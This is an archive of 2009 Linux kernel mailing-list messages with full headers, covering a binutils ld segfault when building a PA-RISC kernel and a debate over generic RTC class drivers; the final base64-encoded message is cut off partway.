NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235757361 8112 80.91.229.12 (27 Feb 2009 17:56:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 17:56:01 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 27 18:57:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ld6xH-0003OI-0l
	for glpp-linux-parisc@gmane.org; Fri, 27 Feb 2009 18:56:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755992AbZB0Rzc convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 12:55:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756201AbZB0Rzc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 12:55:32 -0500
Original-Received: from mail-ew0-f177.google.com ([209.85.219.177]:46419 "EHLO
	mail-ew0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755992AbZB0Rzb convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 12:55:31 -0500
Original-Received: by ewy25 with SMTP id 25so1398803ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 27 Feb 2009 09:55:29 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=fjbFMeHncLSn7FulSxf/P3vygf100l7Y92zaGDXjTVM=;
        b=DOy5scm3TzqApJwtfHZ9AE7O3PeYUD+5mFdtv+bJLv8zpJFzXcamJdfKyv7QKcNk0h
         qQAz9VuPh736MbVhYs7jgUb293Apg2EOpQs62HPa1pMOHx5Ybzzx/qm3xEBs4d9T+VwE
         bGjuCMy18P3m825eOyK1hv2bra8g3bCr8ICs4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=TKyT9fnALBeaYziJu+Rrg5OjPLO/RFeNuWFzAusXUEoTQDp7UW49UuWEd9NG+izpcj
         txV8ndbnJEJESDZPqmARxTFF52yp4NKBwTyTNO4eH2WzUEW0bGoxkrSSciw3CBqE7KpT
         DR51PhFWhgSkwAVrLstI/UqWrxarXsr5wQ+js=
Original-Received: by 10.210.70.14 with SMTP id s14mr2134473eba.86.1235757329014; Fri, 
	27 Feb 2009 09:55:29 -0800 (PST)
In-Reply-To: <20090227164630.642474EF8@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1332
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1332>

2009/2/27 John David Anglin <dave@hiauly1.hia.nrc.ca>:
>> On Fri, Feb 27, 2009 at 10:40 AM, Alexander Beregalov
>> <a.beregalov@gmail.com> wrote:
>> > The same problem: ld segfaults:
>> > do_page_fault() pid=3D15739 command=3D'ld' type=3D15 address=3D0x0=
0000c84
>>
>> This is likely a bug in the static linker, or a miscompilation of th=
e
>> static linker by your toolchain.
>
> If the problem is fully, reproducable, then I agree its likely
> a toolchain issue. =C2=A0However, as indicated multiple times on the =
list,
> we get random segfaults in various programs. =C2=A0In my experience,
> this occurs more frequently with kernels after 2.6.22 but I'm sure
> 2.6.22 is affected.
Yes, it is fully reproducible, I have tried 2.18 and 2.19.1 versions
of binutils.

(gdb) run
Starting program: /usr/bin/ld --build-id -o .tmp_vmlinux1 -T
arch/parisc/kernel/vmlinux.lds arch/parisc/kernel/head.o
init/built-in.o --start-group usr/built-in.o arch/parisc/mm/built-in.o
arch/parisc/kernel/built-in.o arch/parisc/math-emu/built-in.o
arch/parisc/kernel/init_task.o kernel/built-in.o mm/built-in.o
fs/built-in.o ipc/built-in.o security/built-in.o crypto/built-in.o
block/built-in.o lib/lib.a arch/parisc/lib/lib.a
/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.3.3/libgcc.a lib/built-in.o
arch/parisc/lib/built-in.o
/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.3.3/libgcc.a
drivers/built-in.o sound/built-in.o firmware/built-in.o net/built-in.o
--end-group
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
/usr/bin/ld:
Program received signal SIGSEGV, Segmentation fault.
0x4080f404 in strlen () from /lib/libc.so.6
(gdb) backtrace
#0  0x4080f404 in strlen () from /lib/libc.so.6
#1  0x407d5428 in vfprintf () from /lib/libc.so.6
#2  0x407d1304 in ?? () from /lib/libc.so.6
#3  0x407d18b0 in vfprintf () from /lib/libc.so.6
#4  0x4088359c in __vfprintf_chk () from /lib/libc.so.6
#5  0x4040cdc8 in _bfd_default_error_handler () from
/usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
#6  0x40432034 in ?? () from
/usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
#7  0x40452f58 in bfd_elf_final_link () from
/usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
#8  0x4042e764 in ?? () from
/usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
#9  0x00029f3c in ?? ()
#10 0x000295c8 in main ()

Glibc is  2.9_p20081201, I will try older version.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Zidlicky <rz@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Fri, 27 Feb 2009 19:55:14 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20090227185514.GA1071@linux-m68k.org>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <20090220170454.04382e9e@i1501.lan.towertech.it> <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be> <1235511327.18632.73.camel@macbook.infradead.org> <20090224231154.60ba18d6@i1501.lan.towertech.it> <1235514727.18632.93.camel@macbook.infradead.org> <alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be> <20090225111836.621412c1@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1235771540 24305 80.91.229.12 (27 Feb 2009 21:52:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 27 Feb 2009 21:52:20 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Geert.Uytterhoeven@sonycom.com,
	David Woodhouse <dwmw2@infradead.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Feb 27 22:53:35 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LdAeF-0004rh-2t
	for glpm-linux-m68k@gmane.org; Fri, 27 Feb 2009 22:53:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758658AbZB0Vvj (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Fri, 27 Feb 2009 16:51:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758683AbZB0Vvj
	(ORCPT <rfc822;linux-m68k-outgoing>);
	Fri, 27 Feb 2009 16:51:39 -0500
Original-Received: from fg-out-1718.google.com ([72.14.220.154]:54498 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757871AbZB0Vvh (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Fri, 27 Feb 2009 16:51:37 -0500
Original-Received: by fg-out-1718.google.com with SMTP id 16so704354fgg.17
        for <multiple recipients>; Fri, 27 Feb 2009 13:51:32 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:sender:received:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=BLl7OGyYgo+bZZbdmamkm4ccnrRz7WKZyCFTcILmohE=;
        b=kjHtzUKh3AFGn2aAAOo8Di/fomU0uFPP3Ec4bC7zhc0QVcEGWeALKCN4oOyE9QEsug
         jwkKl+6s976cP86+2uSFVjFM8OMQvrmoipnYcpiA6fBfuqrGrGsvli3WLlBX+krknVWU
         2vjYKr7o69gvneud1AuUdp9cExKZHNhg8AQio=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=ce7bu4d3iAkot741Cx7isSFQFWuy16/Hx5A7oreQmbKQf3Fd/qLJD5dleS0mVQd9EC
         0HIDKUaydXY9+LT7FMfLRMmjkXsEYurNUn9b87xwZy+aEB/ctUEOpMeC69baE537TPPL
         E/1x6PkNOE7wlggPniuKJgfyAoNgQSwosgfxc=
Original-Received: by 10.86.59.18 with SMTP id h18mr3367869fga.57.1235771492163;
        Fri, 27 Feb 2009 13:51:32 -0800 (PST)
Original-Received: from qx.zzzzz.org (dialin-145-254-230-016.pools.arcor-ip.net [145.254.230.16])
        by mx.google.com with ESMTPS id l19sm3944495fgb.47.2009.02.27.13.50.41
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 27 Feb 2009 13:51:31 -0800 (PST)
Original-Received: by qx.zzzzz.org (Postfix, from userid 511)
	id 28EB66F9A8; Fri, 27 Feb 2009 19:55:15 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090225111836.621412c1@i1501.lan.towertech.it>
User-Agent: Mutt/1.5.15 (2007-04-06)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:491 gmane.linux.ports.parisc:1333 gmane.linux.kernel:800568 gmane.linux.ports.ppc64.devel:52961
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1333>

On Wed, Feb 25, 2009 at 11:18:36AM +0100, Alessandro Zummo wrote:
> On Wed, 25 Feb 2009 11:00:13 +0100 (CET)
> Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
> 
> > I didn't know NTP was broken with RTC class drivers?
> > 
> > So we should actually keep on using genrtc instead of rtc-ppc/rtc-generic for
> > now? ;-)
> 
>  broken here means that the kernel won't save the time to the hardware
>  rtc every 11 minutes as it used to do. normal NTP operations are unaffected.

seems like so far ppc is the only architecture attempting to implement it
correctly, all others either have it unimplemented or use the broken
by design set_rtc_mmss method. 
Also note that in most cases hwclock has much better possibilities
to do a good job.

Regarding genrtc vs rtc-ppc/rtc-generic it is worth noting that genrtc
provides RTC_UIE emulation which is of some use for exotic programs like 
"chrony".
Afaics this is also the only situation without a good userspace workaround 
and chrony never worked well for me so I have nothing against junking the 
code.

Regarding a possible reorganisation from the generic to all separate drivers
I agree that the habit of putting rtc-chip specific code in asm-generic is 
confusing at best. 
In many cases such code might be better placed in drivers/rtc or 
include/linux/rtc/chipname.

Imho this does not preclude the possibility to use a generic framework. While
there certainly are valid reasons to have separate drivers in some cases 
I do not see much value in rewriting everything as separate drivers where 
the generic framework works well.

Richard
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Sat, 28 Feb 2009 01:04:04 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <49A87F74.8040700@gmx.de>
References: <20090227164630.642474EF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235779502 14089 80.91.229.12 (28 Feb 2009 00:05:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Feb 2009 00:05:02 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, a.beregalov@gmail.com,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 28 01:06:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LdChz-0005M7-E1
	for glpp-linux-parisc@gmane.org; Sat, 28 Feb 2009 01:05:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752429AbZB1AEL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2009 19:04:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752490AbZB1AEL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 27 Feb 2009 19:04:11 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:47557 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752429AbZB1AEK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2009 19:04:10 -0500
Original-Received: (qmail invoked by alias); 28 Feb 2009 00:04:07 -0000
Original-Received: from mnhm-590e08b5.pool.einsundeins.de (EHLO halden.box) [89.14.8.181]
  by mail.gmx.net (mp013) with SMTP; 28 Feb 2009 01:04:07 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/czecJAqvcNe3B5xU5kVnO4bdDwoHnkdCB35ynEp
	Oiz8JJq2eEcNad
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <20090227164630.642474EF8@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.71
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1334
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1334>

John David Anglin wrote:
> I was hoping to try Helge's recent changes but I don't think they
> are in Kyle's parisc tree.

All my (important) patches are in Kyle's tree, but you need to
take a look into the "merge" and "parisc" branches of his tree:
http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=shortlog;h=merge
http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=shortlog;h=parisc

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Sat, 28 Feb 2009 11:17:18 -0500 (EST)
Lines: 47
Approved: news@gmane.org
Message-ID: <20090228161719.40D0D4E9A@hiauly1.hia.nrc.ca>
References: <a4423d670902270955j5562dd4bkce8142e0a89750f9@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235837849 9607 80.91.229.12 (28 Feb 2009 16:17:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Feb 2009 16:17:29 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: a.beregalov@gmail.com (Alexander Beregalov)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 28 17:18:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LdRtl-0006Og-72
	for glpp-linux-parisc@gmane.org; Sat, 28 Feb 2009 17:18:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751736AbZB1QRW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Feb 2009 11:17:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752080AbZB1QRW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 28 Feb 2009 11:17:22 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2052 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751736AbZB1QRW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Feb 2009 11:17:22 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 40D0D4E9A; Sat, 28 Feb 2009 11:17:18 -0500 (EST)
In-Reply-To: <a4423d670902270955j5562dd4bkce8142e0a89750f9@mail.gmail.com> from "Alexander Beregalov" at Feb 27, 2009 08:55:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1335
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1335>

> (no debugging symbols found)
> /usr/bin/ld:
> Program received signal SIGSEGV, Segmentation fault.
> 0x4080f404 in strlen () from /lib/libc.so.6
> (gdb) backtrace
> #0  0x4080f404 in strlen () from /lib/libc.so.6
> #1  0x407d5428 in vfprintf () from /lib/libc.so.6
> #2  0x407d1304 in ?? () from /lib/libc.so.6
> #3  0x407d18b0 in vfprintf () from /lib/libc.so.6
> #4  0x4088359c in __vfprintf_chk () from /lib/libc.so.6
> #5  0x4040cdc8 in _bfd_default_error_handler () from
> /usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
> #6  0x40432034 in ?? () from
> /usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
> #7  0x40452f58 in bfd_elf_final_link () from
> /usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
> #8  0x4042e764 in ?? () from
> /usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
> #9  0x00029f3c in ?? ()
> #10 0x000295c8 in main ()
> 
> Glibc is  2.9_p20081201, I will try older version.

Assuming you have the glibc debug libraries, try the same backtrace
with LD_LIBRARY_PATH set to /usr/lib/debug.  Try to determine
if a bad pointer has been passed from _bfd_default_error_handler.
This seems likely.

binutils has likely been miscompiled, or your kernel build has
exposed a problem in binutils.  We may be not handling a relocation
correctly during the final link.

If you can, would you build CVS binutils with debugging.  Disable
building shared libraries so we don't use libbfd-2.18.so.  Install
it somewhere.  Replace your current versions of as and ld.  Then
redo the kernel build.  If the same error occurs, we will have a
version that can be debugged.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Mon, 2 Mar 2009 10:54:14 +0100 (CET)
Lines: 45
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<1235511327.18632.73.camel@macbook.infradead.org>
	<20090224231154.60ba18d6@i1501.lan.towertech.it>
	<1235514727.18632.93.camel@macbook.infradead.org>
	<alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
	<20090225111836.621412c1@i1501.lan.towertech.it>
	<20090227185514.GA1071@linux-m68k.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1235987683 4549 80.91.229.12 (2 Mar 2009 09:54:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2009 09:54:43 +0000 (UTC)
Cc: Linux/m68k <linux-m68k@vger.kernel.org>,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org, David@ozlabs.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	David Woodhouse <dwmw2@infradead.org>
To: Richard Zidlicky <rz@linux-m68k.org>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org Mon Mar 02 10:55:57 2009
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Le4sM-0007cT-32
	for glppe-linuxppc-embedded-2@m.gmane.org; Mon, 02 Mar 2009 10:55:54 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 7A321DE0C3
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Mon,  2 Mar 2009 20:54:29 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from vervifontaine.sonycom.com (vervifontaine.sonytel.be
	[80.88.33.193]) by ozlabs.org (Postfix) with ESMTP id 5A19DDDF4A
	for <linuxppc-dev@ozlabs.org>; Mon,  2 Mar 2009 20:54:18 +1100 (EST)
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 24BFA58AD0;
	Mon,  2 Mar 2009 10:54:14 +0100 (MET)
In-Reply-To: <20090227185514.GA1071@linux-m68k.org>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:21517 gmane.linux.ports.m68k:500 gmane.linux.ports.parisc:1336 gmane.linux.kernel:801224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1336>

T24gRnJpLCAyNyBGZWIgMjAwOSwgUmljaGFyZCBaaWRsaWNreSB3cm90ZToKPiBPbiBXZWQsIEZl
YiAyNSwgMjAwOSBhdCAxMToxODozNkFNICswMTAwLCBBbGVzc2FuZHJvIFp1bW1vIHdyb3RlOgo+
ID4gT24gV2VkLCAyNSBGZWIgMjAwOSAxMTowMDoxMyArMDEwMCAoQ0VUKQo+ID4gR2VlcnQgVXl0
dGVyaG9ldmVuIDxHZWVydC5VeXR0ZXJob2V2ZW5Ac29ueWNvbS5jb20+IHdyb3RlOgo+ID4gCj4g
PiA+IEkgZGlkbid0IGtub3cgTlRQIHdhcyBicm9rZW4gd2l0aCBSVEMgY2xhc3MgZHJpdmVycz8K
PiA+ID4gCj4gPiA+IFNvIHdlIHNob3VsZCBhY3R1YWxseSBrZWVwIG9uIHVzaW5nIGdlbnJ0YyBp
bnN0ZWFkIG9mIHJ0Yy1wcGMvcnRjLWdlbmVyaWMgZm9yCj4gPiA+IG5vdz8gOy0pCj4gPiAKPiA+
ICBicm9rZW4gaGVyZSBtZWFucyB0aGF0IHRoZSBrZXJuZWwgd29uJ3Qgc2F2ZSB0aGUgdGltZSB0
byB0aGUgaGFyZHdhcmUKPiA+ICBydGMgZXZlcnkgMTEgbWludXRlcyBhcyBpdCB1c2VkIHRvIGRv
LiBub3JtYWwgTlRQIG9wZXJhdGlvbnMgYXJlIHVuYWZmZWN0ZWQuCj4gCj4gc2VlbXMgbGlrZSBz
byBmYXIgcHBjIGlzIHRoZSBvbmx5IGFyY2hpdGVjdHVyZSBhdHRlbXB0aW5nIHRvIGltcGxlbWVu
dCBpdAo+IGNvcnJlY3RseSwgYWxsIG90aGVycyBlaXRoZXIgaGF2ZSBpdCB1bmltcGxlbWVudGVk
IG9yIHVzZSB0aGUgYnJva2VuCj4gYnkgZGVzaWduIHNldF9ydGNfbW1zcyBtZXRob2QuIAo+IEFs
c28gbm90ZSB0aGF0IGluIG1vc3QgY2FzZXMgaHdjbG9jayBoYXMgbXVjaCBiZXR0ZXIgcG9zc2li
aWxpdGllcwo+IHRvIGRvIGEgZ29vZCBqb2IuCj4gCj4gUmVnYXJkaW5nIGdlbnJ0YyB2cyBydGMt
cHBjL3J0Yy1nZW5lcmljIGl0IGlzIHdvcnRoIG5vdGluZyB0aGF0IGdlbnJ0Ywo+IHByb3ZpZGVz
IFJUQ19VSUUgZW11bGF0aW9uIHdoaWNoIGlzIG9mIHNvbWUgdXNlIGZvciBleG90aWMgcHJvZ3Jh
bXMgbGlrZSAKPiAiY2hyb255Ii4KPiBBZmFpY3MgdGhpcyBpcyBhbHNvIHRoZSBvbmx5IHNpdHVh
dGlvbiB3aXRob3V0IGEgZ29vZCB1c2Vyc3BhY2Ugd29ya2Fyb3VuZCAKPiBhbmQgY2hyb255IG5l
dmVyIHdvcmtlZCB3ZWxsIGZvciBtZSBzbyBJIGhhdmUgbm90aGluZyBhZ2FpbnN0IGp1bmtpbmcg
dGhlIAo+IGNvZGUuCgpXaGF0IGFib3V0IENPTkZJR19SVENfSU5URl9ERVZfVUlFX0VNVUwgZm9y
IFJUQyBjbGFzcyBkZXZpY2VzPwoKPiBSZWdhcmRpbmcgYSBwb3NzaWJsZSByZW9yZ2FuaXNhdGlv
biBmcm9tIHRoZSBnZW5lcmljIHRvIGFsbCBzZXBhcmF0ZSBkcml2ZXJzCj4gSSBhZ3JlZSB0aGF0
IHRoZSBoYWJpdCBvZiBwdXR0aW5nIHJ0Yy1jaGlwIHNwZWNpZmljIGNvZGUgaW4gYXNtLWdlbmVy
